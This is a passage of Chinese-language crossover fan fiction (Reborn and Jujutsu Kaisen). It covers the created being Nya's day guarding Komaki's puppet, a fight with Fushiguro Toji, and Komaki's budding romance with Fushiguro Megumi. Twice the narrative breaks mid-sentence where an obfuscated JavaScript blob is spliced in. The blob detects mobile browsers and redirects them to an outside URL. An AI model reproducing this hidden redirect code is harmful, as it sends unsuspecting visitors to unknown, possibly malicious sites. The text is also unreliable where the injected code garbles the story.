在小莳原本的世界里,生命的本质是最简单不过的存在,无论不同物种们在各自的进化发展道路上行走了多么远的距离,想要延续种群,最终总免不了回到几十亿年前祖先们的老路--生殖、繁衍、周而复始。 否则总免不了绝种灭顶之灾。 世上是否真的曾存在或者仍然存在着一位大隐隐于市的造物主?没人能给出确凿无疑的答案,但事实是,在那个世界里,似乎撇去了最本源的诞生,其他地方并不需要所谓的神明穿针引线。 小莳对神明毫不在乎,也没什么特殊的尊敬之心。 但初被创造出来的奈亚拉托提普对此事有着自己的感悟。 它不清楚自己从何而来,但他生来边具备对万事万物的理解力--这份认知原是出自造物主。它是这世界上最了解她的存在,它是被她亲手从圆柱状插满管道的培养能源中拉出来的存在。 它睁眼的一刻,白发的小女孩在简陋搭建的学习台上盘着腿,面前一张历史悠久的折叠桌,桌上有台灯和她正在翻阅的书, 周边是一地纸稿与零散的书籍,还有漂泊后碎在地上的纸页,呈放射状散在学习台边,距离恰好是扬手能扔到并飘远的长度。 透过色泽是清亮反义词的深蓝色液体,它看到的几米开外的女孩蹙眉往地上扔了什么东西,它好奇地凑近,牵动着身上插着的管道贴近靠那一侧的玻璃,是一支铅笔。久无人擦拭的玻璃在内部往外看的时候斑驳异常,但它还是看见了女孩手边的纸团。 她大概本来想扔的是那个,但是发生了什么事,也许她生气了,扔错了。 有关女孩的一切信息自动在它脑中浮现,随之一同传达来的的不知名渴望,和难以言喻的情绪……根据地球上千万本书籍所引向一处归途,名为爱。 它在刹那间就明白了凡人于琐碎的一生中徘徊辗转数十年都难以确定的心意,是亲密之情,是孺慕之情,是爱慕之情,皆不重要,它仅凭一眼就从本源中探寻出对造物主的爱。 她叫小莳,是个日本的名字。小莳在下地捡起错扔的东西时和玻璃罩里的贴着偷窥的它来了个对视。它有在那之前的一切记忆,自然知晓这副躯壳是她在闷不吭声时亲手用幻术捏造,然后写了张单据给兄长,再然后泽田纲吉力排众议为幼妹斥巨资打造了这座在废弃工厂之中的实验室。 她不允许任何人进来。原本还算干净卫生的环境因为数月无人打扫,还有她突发奇想又添加的许许多多药剂成分,地上的空罐和残余化学液体,被撕掉的书页和纸张……一切就变成了如今脏污的样子。 它的诞生被列为彭格列的头等机密。 幻术捏造的身躯,放上根本没有记录因而死无对证的化学液体,就这样创造、培育出了一个带有智慧的造物,是骇人听闻的。 它对小莳的所有窥探结束于幻术的完成--即身躯制造完毕,准备投入培养皿的时刻。所以它对于造物主彼时的心情可谓全盘掌握。 她根本没有那样做的科学依据,即使是最疯狂的科学家威尔帝和他的学生们都不得掌握生命的奥秘,与之相关的匣兵器实验也都纷纷折戟,但是在来路不明的笃定和确信之下,她成功了。 如果这是幻术,那么大概是千年之间最伟大的幻术。 它成了泽田小莳的附庸,并且乐在其中。 她说:“其实我当时设计的时候是参考奈亚拉托提普,因为克苏鲁的神祇令我入迷。所以你叫奈亚。” 它源自于一个幼小女孩在她混乱的儿童时期的一个念想,但最终脱胎于被物理法则认可的现实世界,它有的时候会想起她童年时看过的罗德岛的故事。 对于奈亚拉托提普来说,它最终还是从虚浮的想象中真实落地,踏足了【存在与意识统一】的罗德岛。 这就是它的诞生。 小莳不记得什么时候起,自己就偏好以黑发和绿眼为特征的个体。对她十岁前记忆洞揽全局的奈亚则知道,那是从7岁,可能和她看的哈利波特电影和小说有关。所以在她十岁的时候自己被重塑了一副母亲棕发橙眼之外的样貌,她为此画了有不下百副图,最终设计稿都被捏成纸团扔掉了,皆不甚满意。于是在某一天她突然决定不要跟着脑子走,而是跟着眼睛走,于是奈亚拉托提普就成了一位俊美的男性,兼有黑发绿眼特征。 除去在小莳失踪的两年,他不太情愿主动离开匣子外,在那之后他天天都要和造物主有所接触。他十分迷恋这种被需要着做事的感觉,虽然其中大部分只是她懒于处理的打杂项目。 12月22日奈亚的一天 0:00 开始准备早上要用的食材,田所惠的食谱直到今天都在发挥着巨大功效,网络上搜索来的、瓦利亚顶级厨师的瑰宝、还是超市里满一货架的《21天让你俘获他的胃》,总不及小莳在异世界交往的好友赠与。将所有需要提前备好的基础材料搅拌、清洗后放入冰箱,等待6个小时后再次启封。 也许小莳的下一次前往米花的旅程可带他一起,考个厨艺学校也不错。只是她最近都没有想要去见一见血缘兄长的念头。 0:30 阅读 2:00 看一次小莳,整理客厅,打扫卫生。 3:00 总结近日小莳近况,邮件发送给泽田纲吉与XANXUS。 3:30 完成优等生泽田小莳和优等生江口奈亚的作业。 5:00 离开高专前往周边居民区,购买未来两天内能被消耗完毕的蔬菜肉类和水果。 6:00 衣物清洁。 6:30 早餐制作。 7:00 帮小莳卷头发,准备好她今日要穿的衣物,整理今日出行挎的包,将礼物、现金、餐巾纸等用品放入。 7:30 离开高专宿舍,与人偶去学校 8:30--午休 下午放成绩前最后一上午的学习,不值一提。 12:30 债主聚集起欠债的学生,按照小莳的意思给他们销账,人偶坐在他身后恍若无见无闻地读一本《黄昏纪念册》。 一簇一簇聚集起来的身着红色校服的学生在他面前恨不得下跪亲吻鞋子表达难以言说的感恩,他没什么兴趣听。更何况来了些有意思的家伙。 咒术师的御三家腐败传闻他在情报里所见甚多,但有一点咒术界做得倒不算太差,那就是对于普通人的保护和保密。即使是最穷凶极恶的诅咒师,也不会轻易像渴望夺得关注的反社会罪犯一样用咒力和术式作案:因为这样他们在高层的严重就会从有需要可以打的苍蝇变成会引发多种传染病的首要疾控对象。 虽然凝聚力不够强,内部分化显著,利益分配不均,但只要上头派出手头能用的强员,想要杀掉特定某个诅咒师,完全能够做到。 诅咒师群体中,也不是所有人都参与了2个月前涩谷那晚。 奈亚有兴趣注册过暗网,他见证了小莳的悬赏从7一路涨停到18,直到几天前,这个数字又向上浮动一位,变成20,上面还有他和人偶的照片。 小莳的幻术出神入化,除了那些实力不济的亡魂,没人比他更清楚,这人偶是她亲手制造而成,虽然在第一个出来后余下的就算千百万个也能一念而成,不过无论如何还是给到一号它应有的尊重。 平时他闲来没事还会帮人偶梳梳头,整整衣服。 但他今天心情不太好。 作为造物,他会遵从造物主的一切命令,完成她的一切期待。然而作为自视甚高的非人类存在,奈亚拉托提普喜好戏弄愚钝的家伙,现在他的玩具免费了。 挥手让人群散去。 原本拥挤的花园现在只有他与仍然在阅读轻诵的人偶二者,明面如此。 他握住人偶线条流畅的下巴,她顺从地抬起头,目光清澈,眼睛里什么也没有。和原主完全一致的容貌,然而千万人偶也不敌她眼波中流溢的一丝华彩。 小莳制作出来后,从来没附身过这个人偶,直接赠予了他,“这是17岁的第一个我,你要好好带她上学,奈奈的目标可是东大。” 就这样让它在诅咒师刀下毁掉也不错,如果她觉得事态严重,就会亲自时不时附身,上课也好,闲暇时光接入聊聊天晒晒太阳也不错,咒术高专没什么好呆的。 伏黑惠绝对对小莳有所图谋,他不好说对方会不会成功,但认识到这一点已让他有些不快。他血缘上的父亲还曾经抢过属 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15413132|168847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于他的工作--虽然那时候他并不在小莳身旁,但依奈亚之见,小莳居然还对他颇为满意。 这一点更是让奈亚难以接受。 伏黑甚尔,幸好分手了。愿他们再也不见。 人偶的控制权在他这里,损坏的反噬也在可控范围内,于是,奈亚拉托提普决定日行一善,无偿赠与幸运的诅咒师20亿,如果他能今日内迅速拿到的话。 因为明天又会有新的人偶,运气好乃至于本尊都能来参加假期前最后一天。如果到时候奖金还没兑现,恐怕就要永远失之交臂了。 诅咒师的刀尖没来得及接近人偶一米,就被击飞--连人一起。 并非奈亚动手。 这倒是出乎他的意料,原来还有一个擅长隐匿气息的家伙。奈亚回头,看到一个男人。 …… 他以前从没觉得自己是个乌鸦嘴。 “我还当是多强的助理,小莳对你还真是谬赞了。”与伏黑惠有几分相似的容貌,嘴角的疤,在人偶身边挡着的男人是伏黑甚尔。 “……”讨厌的家伙。 “好久不见,不看我一眼吗,大小姐?” 轻浮的语言,奈亚不是很高兴。 大小姐本人先前发来了看起来就不太美味的定食套餐,她在东京可没法应答,呵,忙着给你暗恋她的好儿子过生日呢。 奈亚操纵着人偶冰冷地对他说:“滚开。” 然后想着,打到半死不活就行了,冲了上去。 但造物主在一个月前给了点误导消息,他轻敌了。一开始想在对方擅长的领域彻底击溃的……“甚尔好像体术不那么强,和禅院真希差不多”,真是一个对体术毫无概念的造物主。 奈亚不觉得这是小莳的错,大约是玛蒙给她灌输了错误的观念。反正瓦利亚的草台班子就这么回事,小莳在其中难免被带坏。 不管,溺爱了。 奈亚拒绝过多描述战斗过程,最后他操纵人偶给了对背后没什么防备的天与咒缚者一下,没伤要害死不了,主要是为了解气。这家伙还真是信赖前女友,但是不好意思,此处并非本尊。 人偶无机质的眼珠转也不转,琉璃一样反映着眼前的一切,她将刀锋没入,然后很快拔出。没来得及进行第二次,因为手腕被紧紧捏住。 令人遗憾的是他发现了:“我说怎么会毫无反应,原来是人偶。稀奇,和她以前说的一样。” 伏黑甚尔留下这句话就离开,他没特意拦。奈亚是一个尽忠职守的助理,两名诅咒师于12:40分来到私立百花王学园,一死一伤,他不清楚身份。 他又没有见过伏黑甚尔的照片,对不上人,没发现,工作而已。小莳不会听见有关此的任何消息。 奈亚在下午上课前成功清理了花园,也顺便解决了这个时运不济的诅咒师:他差点就可以一生无忧的退休。 现在只不过是把时间线往往退休以后又推了一点点,算是一步到位的退休。 放在私立百花王学园说这些正合适,赌徒的最终结局也是如此的,一念之间,大局已定,而输的人,要支付【代价】。 听说伏黑甚尔很爱赌,哦,挺好,能不能请这个已经退休过一次的人再表演一次退休? 13:30 公布成绩。 16:00 社团活动开始。回高专。路上解决又一名被金钱冲昏头脑的。凡事多想想自己配不配。 然后就在宿舍里苦等到9:00。 21:16 本该在十几分钟前就回到宿舍的小莳在楼下逗留。他下楼时便看见相拥的2人。 伏黑惠,人如其名,是个幸运儿。奈亚本来是不同意这门亲事,并且计划设法使绊子的,还没来得及发挥就被今天刚刚出现的新上线复刻角色打断。 现在看来小莳和他倒是有些般配。 与对造物主的爱一样,顽劣也是根植于奈亚心底的基石,无可撼动,从他的名字来源于伏行混沌千面之神就能看出来于创造之初,他被添加了多少恶趣味成分。 那是他的天性,他乐于见到他人被愚弄,也乐意亲自操盘做些引诱人上钩,又给他们带来更深痛苦的恶作剧,只不过小莳对这些了解不深。 伏黑甚尔是小莳的关系人,对于能够影响她情绪的存在,他一向谨慎。本来下午的事情就要以一人小亏,一人大亏,一人满盘皆输为结局。 现在有个叫伏黑惠的变量出现了。 奈亚:99. 所爱而不得是件痛苦的事情,书里都这么说,匣子里的两年证明了此项信息的正确性。小莳身在何方,她的身边又聚集了哪些身影……那里还存留了他的位置吗? 造物渴求造物主的垂怜,这再合理不过,而她终得以归来……这就是最大的恩德。 今天他又发现了有趣的事项,除了对于实力的判断稍有失误之外,小莳口中“不喜欢我把我绿了,我一怒之下怒了一下,给他打了一个亿请他务必不克久留和我分手”的前任,好像也不是描述的那么回事。 伏黑甚尔根本不是为了十位数而来,他是为了小莳,而且他的“不喜欢”,实际应该是喜欢的不得了。 真是滑稽。 65. 第 65 章 小莳是个再护短不过的人,用反转术式给奈亚治好了伤,询问情况。 “一死一伤?赢了就好。”能解决的话也不是大问题,然后和他说起了今天晚上回来的事情,还有和伏黑惠因为灵光一现念头而恋爱的事。 “有点尴尬,但是反正甚尔不会知道,就还好……”即便对普通人的生活兴趣不大,小莳也是希望能够在正常人类社群中生存的,这大约源于泽田奈奈的影响。 她有和常人不同的一套价值观,但不会因为【融入】这个进程而感到痛苦,也没有特地想要脱离社会的意图:“所以这样的情况算是保持了微妙的平衡,而且伏黑就是,突然很吸引我。你有发现他喜欢我吗?” 两只眼睛都看到了,奈亚点头:“但你似乎不在意。” 好的,之前确实是这样。 小莳看一眼时间,没到10点,发消息给伏黑惠。 领导同事在天堂:现在可以下去找你吗? 两分钟以后才有回复。 伏黑惠:可以,抱歉,刚刚在洗澡。 小莳看到信息喝了口水就下去了。 像个随时都会被裁员的劳务派遣职工的房间,这是小莳第二眼的想法。 第一眼只觉得清水出芙蓉,人好看。 评价别人的寡淡的房间为“看着像是要被扫地出门了”不太礼貌,小莳选接吻,100%喜闻乐见。 伏黑惠的锁骨很不错,具体不赘述,腹肌也不错。 “你想说什么?”小莳坐在房间里唯一的椅子上,盘腿。 谈恋爱跟着身体的反应走总是不会出错,但是大差不差的亲密行为结束了以后,言语交流上的默契程度跟不上,便会造成尴尬。 见伏黑惠欲言又止就是吐不出半句话,小莳看了眼他坐的床沿,预估了下他倒下的位置,确认了以后起身推了一把他的肩,然后整个人压上去。 “……” 小莳跨坐在伏黑惠的身体上,一半重量压在分开撑在床单上的膝盖,一半在她男友的腹部:“伏黑,良辰美景,如果你执意一声不吭我就只好带着一肚子问号上楼了,虽然你确实很合我审美,但特地跑下楼亲一下就撤岂不是显得这个恋爱谈得很肤浅。” 虽然目前看起来就是这样。她上楼,好端端的跑下来强吻清纯男高,确定了关系,过一会又跑到房间里亲了一顿。 “小莳,你能先下来吗?” “emmmm,不要,说真的,如果你什么都不想说我就上楼了。”也差不多快到睡觉时间,“我以为你还想见我才下来的。” 伏黑惠最终还是选择把一切置于腹中,小莳对此表示理解之余,也不客气的询问了自己最在意的问题:“伏黑你什么时候喜欢我的。” 给过机会,既然他没话讲,那她表示完礼貌就问了走人。 “……一开始。” 反正必定是在“喜欢小动物、爱笑”之前,小莳反正是不相信笼统且带有迷惑性的伏黑话了,他自己一个日本。 他好笨。 哎。 “这里只有我们两个人,你不妨把话说得更明白些。我脑袋笨,你就当可怜我,行行好。”说这话时她的头低到伏黑惠面前,嘴唇一张一合,碰擦他的脸颊,呼出的热气铺在他皮肤上。 明明说着撒娇示弱的话,却让他感觉咽喉被攥紧一样喘不过气。 他闭上眼睛:“第一次见面。” “你不是看见我就跑了吗?”骑着猫头鹰飞的可快,虽然当时没想追,但想追也追不上。 小莳抬起身看他的时候,又见他双睫如蝴蝶振翅,在眼皮洒下一片颤动的影,简直像是抖落的鳞粉。 “不……是你来高专的那天,一见面我就对小莳你……” 一见钟情啊,挺好,有眼光。 小莳得到了想要的答案,顺从心意在他眼睑上亲吻一下,夸他:“你睫毛真好看,今晚多谢款待了,晚安。明天见。” 这房间再待要出事,伏黑明显是想慢慢来的意思,她觉得那样也好,细水长流。一个翻身离开他的床,在没来得及收拾的东西里面找到蛋糕盒子,拎回宿舍。 第二天她醒的很早,奈亚还没离开。 “今天中午就会放学?”没记错的话应该是最后一天了。 得到了肯定的答复,小莳便给奈亚安排了一堆工作,以及特别叮嘱:“门外顾问在家从不做家务,回去也就是给奈奈增加负担,正好你回去一起准备新年。” 此话为纯偏见,泽田家光人在场的时候对夫人还是相当好的,而近些年长大成人的儿子将他一直安排在并盛--家族此时并不需要门外顾问干预,赠与父亲吃空饷套餐,直到今年十月下旬,泽田家光才又回意大利周转起部门。 奈奈和门外顾问还挺恩爱的,她不掺和,也从不在奈奈面前谈论,但对其他人她便逢人说不出泽田家光一句好话,把自己的意见明明白白表示出来。 奈亚两只眼睛十八层滤镜,他对此表示100%认可。 夏油杰也听她说过不少垃圾话,对此表示可以理解,人这一生总会不可避免的憎恶上其他人或事,最后一切都会过去。 小莳对他的评价做出重要批复:“听起来80高龄众叛亲离五蕴皆空总之快得道成仙了。”被赶出办公室。 她对泽田家光,恨也谈不上,但也不觉得有什么必要原谅,他再抱歉也不影响在十四年前选择相同的结果,无论多少次都一样。立场问题。 说不定等他彻底离岗以后他们还能说上两句话,现在他手握重权就免了。 早餐结束后,她接收到了来自与幸吉的通讯。 当年和六道骸学的附身技巧里面恰好也有一项时不时能作用的心灵感应,与幸吉前些日子被囚禁的时候动不动发来聊天申请。她都有点后悔之前和他进行分别时的额外对话。 “回去以后我应该会被囚禁监察起来,怎样才能联络你呢?” 她当时随口说了一句:“祈祷,像恳请神明襄助一样祈求我的回应吧。” 然后就变成了“在吗?”“泽田小姐?” 不过也不是没有收获。 她跟着骸的教程进了与幸吉的精神世界,并且实地考察后亲自在那给他装了个工作台。与幸吉就像是加入了主管联络群的小职工,一天24小时在劫难逃。 然后与幸吉就不怎么主动联系她了,直到今天。 小莳出现在与幸吉的精神世界,这里压抑异常,像坟墓陪葬的陶土人一样罗列着一排又一排机械丸,它们的眼睛里映射着无机质的绿光,好似只等着主人一声令下唤醒,去屠戮,去围杀入侵者:“怎么了,突然联系我,上次安排给你的报告写好了?还是功率更高的mini探测型机械丸做出来了?” 在行道最靠边处,与幸吉本人坐在和场景风格不搭的小板凳上,旁边是一本摊开的书籍,还有温暖光线的台灯:“泽田,你不过新年吗?” “是啊是啊,正是因为把活都给手下人去做了,我才能安安稳稳过大年。” “……今天和京都校的同学一起来东京这边的高专,我只是想提前和你说一声。”校长也在东京,歌姬老师也来了,他们也没什么必要一直留在学校。 东堂最先决定来东京找兄弟,然后就……连和真希关系不好的真依都来了。 “嗯哼,最近我也一直都在东京高专,家里来了陌生人,我是个怕生的小女孩,回不去。”在这个地方小莳总感觉自己像个盗墓贼,她不太喜欢这,但与幸吉从小就是被机械丸照料长大,又离群索居,说不定反而是这种地方才让他感到安定。 少刻薄两句也是一种温柔,小莳和他说:“说起来我前几天突然想到,精神世界恐怕是个和生得领域差不多的地方,虽然你现在还没有办法操纵这里的傀儡……能早点熟悉环境进到领域里来也算是一点小小的特权,万一你一不小心放出了领域展开就可以比其他咒术师更快地适应和使用了。”就是你能把这的风格装修的阳光开朗一点吗?首先先把天花板掀了,来点阳光。 与幸吉与小莳相处了一阵子,知道和她急不来,但是他仍然被这一突如其来的讯息震惊:“这么重要的事情你怎么现在才说?!” 小莳反问:“送你一张兰博基尼满减券你也得有本金才行,我现在告诉你,你下午就能在我面前展开领域吗?”真是心高气傲的准一级。 上次看到他桀骜不驯的样子还是在恭弥的基地。 “……”说的也是,与幸吉无言以对。 “好了,其他的见面再聊,你为什么不发信息给我,这种事情留言就好了呀。” “……你没给我联络方式。” “喔,是嘛?”完全没印象。 给与幸吉留下了手机号后,小莳就离开了。很快他在列车上睁开眼睛,按照记忆里的数字搜索联系人。 领导同事在天堂……她怎么好意思叫这个昵称,良心不会痛吗? “机械丸,你醒了,我们之前在讨论马上吃什么,真依想吃西餐,桃想吃甜点,你呢?” 与幸吉发送好友申请,然后收起手机,先问她:“三轮,你想吃什么?” * 伏黑惠早早被安排出任务,小莳给他回了消息:如果在市区的话我们可以一起吃午饭。 现在距离伏黑惠发消息过了半小时,大概他还没进帐。 果然,回的很快。 伏黑惠:在都里一家律所,这里民事诉讼部门比较出名,对象咒灵是准一级,判断可以由两名一级咒术师袚除,派了七海先生和我。 领导同事在天堂:盲猜离婚财产纠纷,如果律所不大的话我收拾下就准备出发,是在高层大楼里租赁了几层楼吗? 领导同事在天堂:七海海是个靠谱的成年男子,和他出任务的时候摸鱼很开心,很喜欢七海说过的一句话“我是大人你是小孩交给我。” 领导同事在天堂:姓七海(nanami),生日在7月3日,术式是在三七分时强行制造弱点的十划咒法,这三件事情同时发生在一个人的身上,真是严丝合缝的巧合,造物主在给他投骰子的时候一定吃了不少谐音梗。 伏黑惠:是的,我把定位发给你,附近有商业街,小莳选喜欢的店就好。【地址分享】 伏黑惠:需要邀请七海先生一起吗? 领导同事在天堂:让他下班吧,小情侣吃饭本来也不是他这个阶段该掺和的。 七海海这个阶段,他怎么敢下班还不跑的。 今天奈亚回并盛,她不得不自己收盘子,摞好放置进水池后,一边刷牙一边看地址定位。 16公里,不算太远。 伏黑惠:今天下午京都校的人会过来,我们吃完饭回? 领导同事在天堂:我知道,与幸吉和我说了。吃完饭买点接下来一天的预制菜,我让奈亚后天晚上再回来。 领导同事在天堂:帮我搬东西哦,伏黑。我顺路去虎杖那装个冰箱就出发,如果他在的话,等你出帐联系我。 ……她叫机械丸与幸吉,却称呼我伏黑,况且今早才决定的事情,她是怎么从机械丸那事先知道的。伏黑惠收起手机,跟随辅助监督还有七海建人进入大厦。 小莳敲了虎杖的门,十几秒后被人从内匆匆打开,“泽田同学?怎么了?” “社区送温暖,”小莳拎着宿舍冰箱里冻得邦邦硬的蛋糕,“你想把冰箱放哪?我马上有点事情出去,中午你就可以请钉崎来吃。” “随便哪里都可以,这里吧,有插座。伏黑今天出去任务了,钉崎应该还在高专。” “嗯,我知道。”小莳打了个响指,虎杖方才所指的方向地上出现了一台冰箱,“100L,上下层,可以调温度。回到刚才的事情--我正是要去找伏黑。” “喔?” 小莳把蛋糕盒摆在冰箱上:“就是如此这般,下午再会啦~”说罢摆摆手,头也不回地走了。 伏黑怎么没回最后一条消息? 前男友不回消息一般是因为闹小脾气或者犯病,而伏黑……小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15413133|168847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 莳把记录网上翻了翻,基本每次聊天的最后一句都是他。 就算她发了出帐联系这样的话,按照惯例对方也会回一句好的,或者嗯。 这种时候还是选择拖延时间的公交车比较好,虽然不知道发生了什么,但先不着急见面。恋爱第二天,消费降级严重,小莳拿出手机搜索路线与换乘。 伏黑惠给她发来消息的时候她还在距离目的地4公里外的一片城区。 领导同事在天堂:稍等,我看了一下地图,那边改乘地铁似乎更方便,你在地铁1号出站口等我可以吗? 公交车下车还要步行800米,耽误时间。 伏黑惠:你在公交车上? 领导同事在天堂:嗯,浅试一下,公交很好,下次不坐了。 伏黑惠:好,我在地铁等你。 伏黑惠的海胆头即使是在人潮汹涌沸羮的地铁站也一眼能望见,小莳在背后对心情状况存疑的男友进行贴贴。“中午好。” “你没乘地铁。”伏黑惠先是身体僵硬了刹那,随即意识到来人是小莳,他转过身,确认对方确实是从站外前来。 “我被公交车传染了‘只能想到公共交通’的病症,于下车步行50米后痊愈,我召唤了出租车。”目前没有任何研究表明公交车对人的精神状态不构成影响,一定要警惕起来,防范风险。 令人哭笑不得的说辞,伏黑惠问她:“小莳,你想吃什么?” * 食物的热量来源分为三大类:淀粉、蛋白质、油脂。接下来一天大概率是糊弄餐,中午选点热量高的预支一下。 天妇罗。 “这家店被美食评论家点评过,幸好今天还算是工作日。”飞快点了自己喜欢的食材后,小莳把菜单递给旁边的伏黑惠,“星鳗和紫苏海胆是被强烈推荐的,我给我们两都点了,如果美味还可以再追加。” “小莳你不吃饭?” “不,能多吃点油炸的就不用碳水占肚子了,我点了很多蔬菜、松茸秋葵茄子还有海苔片,因为是蔬菜所以健康得很。” 虾、贝、芝士、鱼、星鳗还有数种菌菇类,她基本上都有点,分量上看来就完全和健康不沾边了,更何况烹饪方式是下油锅,伏黑惠添了芦笋、溏心蛋,以及饭,结束。 想到昨天她不满意就停筷的菜肴,还有提议干脆扔掉的蛋糕,她只是不在乎。 小莳还追加了一份海胆,四尾虾,两颗扇贝。 而且一点也没浪费。 伏黑惠在向店家要额外的姜末作茶泡饭佐料时,得到了服务员怜悯的眼神,他诡异的get到了:对方不顾仪态吃这么多,她不喜欢你。 确实在日本会有这种约会文化,女性一方会被约束做温柔被动又羞涩,现在时代变了,不尽然是以前的样子……但小莳吃得快和虎杖一样多了。 “因为我在午饭到明天早饭之间都不打算进食了。”吃得很多,速度也不落下的小莳先伏黑惠一步放下筷子,用湿巾擦嘴。 他没提出任何问题。 “心灵感应。而且你的眼睛快长到我脸上了,伏黑。我其实不觉得自己是对饮食挑剔的人,可高专的售货机还是太超过,盒饭提不起兴趣,我打算去那条街刚刚我们路过的门面店带一些糕点回去作早餐。”动物冬眠之前还要存够脂肪呢,多吃一点很合理。 伏黑惠也很快结束了这一餐,他说:“好的,明天中午吃什么?” “我回并盛吃拉面,今天下午问问与幸吉要不要一起去。”打新年前的最后一份工。 “……” 五分钟间,小莳熟练地在男友前一步掏出手机付账,拉着男友的手一起走出店铺,并在沉默中并行了一条街。 天才少女于虚空攫取灵感:“伏黑,莫非你是吃醋了?”今日重磅新闻。 “不,我只是尸体有点不舒服,目前情绪稳定。”他不是很开心,不想配合,于是面无表情棒读。 他好幽默,小莳笑说:“与幸吉喜欢三轮,我记得我和你说过,这么久过去他们早就该感情稳定了。只是我正好在给并盛策划一些辅助监测的基础设施建设,恰好用的上他。”小莳被他的不开心表情可爱到,更亲密地抱住伏黑惠的胳膊,“他可是我现在手上有的唯一一个咒术师,杰的话我并不把他视作下位,美美子和菜菜子最近也都不清闲,所以思来想去也只有与幸吉。” 小莳有点得意忘形:“我和他只是工作关系。”说出了电视剧里出轨时使用率最高的台词。 伏黑惠更不开心了。 她眼尖地望见有前方有一处小巷拐角,拉着伏黑惠的手把他往里带,又走几步,几乎隔绝了十米开外的喧腾和热闹,就在这里,小莳搂着伏黑惠的脖子再和他交换了一个吻。 他从不觉得脆弱一词和自己有关,直到遇到小莳,才发觉在某个地方自己也不堪一击,伏黑惠遮遮掩掩地结束了这个吻,但在被小莳抱住后也与她相拥。 “小莳,是在用这种方式转移我的注意力吗?”太狡猾了,他的心中酸涩,又期待她回答。 “当然不是,伏黑胡思乱想然后慌慌张张向我求证的样子也可爱捏。”她抚摸着男友的背脊,告诉他:“只是单纯的很想亲吻你。在这个世界,我想亲吻的人到现在也只有伏黑你一个而已,再没有其他。明天你想和我一起回并盛吗?毕竟是平安夜,等工作完我们可以一起度过。”放与幸吉和女朋友欢度节日,杰也因此逃过一劫,他和悟最后估计会出去吃吃喝喝,并不会发生任何尴尬的事情。 他答应说:“好。” “我们现在坐公交车回筵山?” 他提醒:“可以坐出租车。” “如果可以和你在后排牵手说悄悄话,公交也不错。”两小时内迅速改口,“或者就那样靠在你肩上小睡也很好。和伏黑在一起我会开心。” 伏黑惠最受不了他人直白又真心的肯定,简简单单被小莳的夸赞撩拨,但他本人并不擅长情绪表达,因此最后想了又想,说:“……能和小莳在一起我也很高兴。” 66. 第 66 章 中午的时间段乘公交车离开市区的人不算多,两人坐在了空荡的最后排,小莳在伏黑惠的肩膀上蹭了几站路,才想起来重要的事。 “忘记买早饭了。”出大问题,早上没饭吃,浑身难受。 伏黑惠对小莳的不拘小节早已习惯,但今天一向稳妥细致的自己也把事情忘了,他觉得不好意思,询问女友:“我们回去买?” “不了吧,餐后的半小时内我就会进入长达1小时的倦怠期,身体好像被封印,一步也动不了。” 只是一个小懒鬼,伏黑惠托住小莳的肩,让她舒坦地倒在怀里。在昨晚之后,小莳对他就像完全变了一个人,他对于她的了解还有许多尚处于空白状态,欣喜之余,这些未知也令他惶恐。 太……太快了。 轻声在小莳耳边提议:“那我做给你吃。” 小莳闻言转头,脸颊正好擦到他的唇角,她正好又在男友怀里……小莳安静了两秒,没有悬念的再次接吻。反正公交车上没什么人,他们又在最后,她觉得合适。 伏黑惠觉得不合适。 “怎么了,又没有人在看我们。你在害羞吗?”小莳的尾音勾起,带着调笑口吻。 “没有害羞。” 哦~他超不好意思的,因为是正在交往的对象,所以可以肆意欺负。 “怎么办,那你别害羞了,伏黑你以前是不是没有谈过恋爱。”看起来像是没有的样子,但小莳觉得自己两年前也没他这样动不动脸红。 可能人就是天生纯情。他不说话,小莳又问:“伏黑长得也好看,性格还这样,不会总是被调戏吗?”虽然有被说过是不良,但他看起来纯良得很,一点也没有酷哥的样子。 再不开口就不知道对方嘴里还能吐出来什么样的词了,伏黑惠赶紧说:“没有谈过恋爱,也没有被调戏。我不太……和除了津美纪以外的女孩子说话。” “真假?我之前认识的一个长得不错的男孩子总是被女生搭讪,就算走到哪案件发生到哪也完全没有影响他的魅力。休学了快一年,有个从小到大板上钉钉的青梅竹马,可是抽屉里还是会出现新的情书和零食。”小莳唯一一段正常上学的日子就是在米花,唯物主义世界还是有其特殊之处,她想到和伏黑惠差不多年纪的工藤新一就很受欢迎,听园子说在初三的时候有不少女生想要他的纽扣,小莳和他的江户川形象相处了一段时间,反正是没有get到能作为男友的人格魅力,感觉不如安室透--他会做很好吃的三明治。“我觉得你比他可爱多了,就算上课无聊偷吃了很多他抽屉里的零食,我也不会给他加分的。你们初中的女孩,没眼光。” 工藤新一的桌子就在那,太诱惑了。 “……”伏黑惠在中学时期也有过一些被搭讪的经历,不能说不受欢迎,但他本人并不在意,也不认为这是有必要和小莳说的事情。 “当然我觉得这和这对青梅竹马认识十年多直到我回家都没正式交往也有一定的关系。你敢信他们在高二休学旅行的时候只是像这样贴贴了一下?”小莳拽着伏黑惠,在他脸颊落下一吻,“这样子谈恋爱,感觉一个对象有点不够,再来三四五六个也能顺利安排时间。这种丧偶一样的恋爱到底是谁在谈啊,我的建议是吃点好的。”不是说对工藤有意见哈,只是说陈力就列,不能者止。 “小莳那时候是在普通高中上学吗?” “和现在比起来算是普通,但也接触到一些甚至会让我惊讶的面向。”小莳和伏黑惠讲了能够让人变大变小的生物学药剂,还有警力严重不足的警视厅和运转顺利的米花,以及那个世界里啊目前已知的唯一一个反唯物的存在,齐木楠雄。 